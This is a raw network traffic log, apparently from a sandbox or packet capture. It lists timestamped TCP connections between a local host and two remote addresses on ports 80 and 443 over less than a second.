Nov 23, 2024 21:59:45.890759945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.890809059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.891026974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.891068935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.891587019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.891634941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.891863108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.891968012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.892342091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.892395020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.893023968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.893079042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.893201113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.893249035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.893359900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.893536091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.893959045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.894162893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.894246101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.894288063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.894720078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.894767046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.894834042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.894876003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.895463943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.895518064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.895595074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.895648003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.896323919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.896336079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.896387100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.896408081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.897058964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.897130013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.897193909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.897245884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.897826910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.897867918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.898008108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.898062944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.898585081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.898633003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.898699045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.898742914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.899398088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.899441004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.899549007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.899590015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.900346041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.900394917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.900451899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.900497913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.901027918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.901076078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.901079893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.901206970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.010374069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.010513067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.010569096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.010607004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.010817051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.010889053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.010894060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.010938883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.011571884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.011617899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.011651039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.011691093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.012334108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.012459993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.012572050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.012619019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.012902975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.012947083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.013362885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.013375044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.013413906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.014172077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.014216900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.014359951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.014411926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.014910936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.014956951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.015239954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.015281916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.016562939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.016618967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.016624928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.016762972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.016779900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.016796112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.016817093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.017318964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.017355919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.017414093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.017461061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.018150091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.018196106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.018238068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.018347025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.018795013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.018841028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.018922091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.018955946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.019618988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.019665003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.019762039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.019797087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.020406961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.020445108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.020615101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.020669937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.021181107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.021229029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.021269083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.021313906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.021975994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.022018909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.022188902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.022254944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.022772074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.022830963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.023026943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.023081064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.023514986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.023567915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.023633957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.023679972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.024338007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.024395943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.024724007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.024771929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.025091887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.025382996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.025645018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.025686026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.025959969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.026011944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.026727915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.026741028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.026779890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.027451038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.027533054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.027873039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.027885914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.027925968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.034831047 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.034848928 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.034925938 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.034955025 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.037972927 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.038028002 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.039465904 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.039496899 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.039545059 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.039555073 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.039777994 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.039845943 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.049098969 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.049134016 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.049519062 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.049575090 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.049755096 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.049942017 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.049949884 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.050610065 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.050643921 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.089026928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.089088917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.089366913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.089426041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.089438915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.089449883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.089487076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.090153933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.090199947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.090269089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.090492964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.090917110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.090991974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.091212034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.091229916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.091259956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.091960907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.092006922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.092344046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.092391014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.092804909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.092850924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.093596935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.093609095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.093652010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.093672037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.093712091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.094269991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.094336033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.095010996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.095055103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.095096111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.095108032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.095134020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.095154047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.095887899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.095964909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.096056938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.096101999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.096724033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.096781969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.097217083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.097342968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.097489119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.097533941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.097568989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.097620964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.098218918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.098263979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.098354101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.098396063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.099000931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.099045038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.099114895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.099168062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.099765062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.099811077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.099864960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.099909067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.100553989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.100599051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.100699902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.100883007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.101340055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.101392984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.101504087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.101560116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.102225065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.102236032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.102274895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.102909088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.102968931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.102982044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.103017092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.103687048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.103734016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.104286909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.104331970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.104481936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.104548931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.104568005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.104581118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.105278969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.105324030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.105411053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.105456114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.106077909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.106126070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.106198072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.106244087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.107089043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.107126951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.107172966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.107628107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.107677937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.107731104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.107812881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.108462095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.108513117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.108542919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.108592033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.109204054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.109261036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.109992981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.110013008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.110048056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.110073090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.110096931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.110141993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.110758066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.110805988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.110886097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.110934019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.111577988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.111752033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.111803055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.144990921 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.145031929 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.145109892 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.145169020 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.146111012 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.146130085 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.179193020 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.179222107 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.179285049 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.179321051 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.180005074 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.180058956 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.190825939 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.190845966 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.209938049 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.209960938 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.210014105 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.210040092 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.213016033 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.213095903 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:46.213156939 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:46.220860958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.220892906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.220952988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.221056938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.221105099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.221241951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.221285105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.221829891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.221879005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.221892118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.221918106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.222805977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.222847939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.222897053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.222985029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.223227024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.223323107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.224037886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.224056005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.224073887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.224091053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.224109888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.224788904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.224836111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.224843025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.224895954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.225542068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.225583076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.225874901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.226047993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.226351976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.226408958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.226449966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.227096081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.227160931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.227355957 CET	80	49809	185.215.113.206	192.168.2.6
